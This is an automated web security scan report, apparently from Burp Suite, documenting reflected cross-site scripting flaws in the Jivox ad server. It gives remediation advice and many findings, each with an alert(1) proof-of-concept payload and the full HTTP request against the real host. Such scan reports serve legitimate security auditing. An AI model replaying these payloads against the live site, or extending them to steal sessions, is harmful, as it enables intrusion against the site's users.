Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the siteId request parameter is copied into the XML document as plain text between tags. The payload 654f0<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>5f4dc627cd8 was submitted in the siteId parameter. This input was echoed as 654f0<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>5f4dc627cd8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.
Request
POST /jivox/serverAPIs/getCampaignById.php?videoProfile=P1&adMethod=getCampaignById HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://as.jivox.com/player/JivoxAdPlayer.swf content-type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Content-Length: 62
The value of the adRepeat request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f910"-alert(1)-"db148fb197b was submitted in the adRepeat parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=25f910"-alert(1)-"db148fb197b&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the autoPlay request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1df51"-alert(1)-"c4fba259322 was submitted in the autoPlay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true1df51"-alert(1)-"c4fba259322&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the campaignId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ba2ec"-alert(1)-"f055aed0f65 was submitted in the campaignId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269ba2ec"-alert(1)-"f055aed0f65&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the jvxSessionId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 17d75"-alert(1)-"e873ab8a2fd was submitted in the jvxSessionId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.528817d75"-alert(1)-"e873ab8a2fd&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the maxAds request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f3346"-alert(1)-"9147d931c69 was submitted in the maxAds parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3f3346"-alert(1)-"9147d931c69&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the mouseAction request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d2ae"-alert(1)-"5850f98c4ea was submitted in the mouseAction parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver3d2ae"-alert(1)-"5850f98c4ea&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the objectName request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea306"-alert(1)-"8eb375c5bd0 was submitted in the objectName parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229ea306"-alert(1)-"8eb375c5bd0&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the pauseBetweenAds request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66bf5"-alert(1)-"8d783b7b460 was submitted in the pauseBetweenAds parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=100066bf5"-alert(1)-"8d783b7b460&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the r request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3b40c"-alert(1)-"c8869149fa2 was submitted in the r parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.117242342792451383b40c"-alert(1)-"c8869149fa2&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the reportingURL request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e7792"-alert(1)-"ca2fd7e214f was submitted in the reportingURL parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.come7792"-alert(1)-"ca2fd7e214f&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the serverURL request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1176f'%3balert(1)//17e15bfc0d1 was submitted in the serverURL parameter. This input was echoed as 1176f';alert(1)//17e15bfc0d1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com1176f'%3balert(1)//17e15bfc0d1&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the serverURL request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d10d2"%3balert(1)//c8611b26b28 was submitted in the serverURL parameter. This input was echoed as d10d2";alert(1)//c8611b26b28 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.comd10d2"%3balert(1)//c8611b26b28&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the siteId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57539"-alert(1)-"4fc50943fc5 was submitted in the siteId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba357539"-alert(1)-"4fc50943fc5&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the slideOut request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 31b1a"-alert(1)-"25d6e27eec1 was submitted in the slideOut parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on31b1a"-alert(1)-"25d6e27eec1&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the slideOutOrientation request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fc633"-alert(1)-"bf5ea0e5316 was submitted in the slideOutOrientation parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
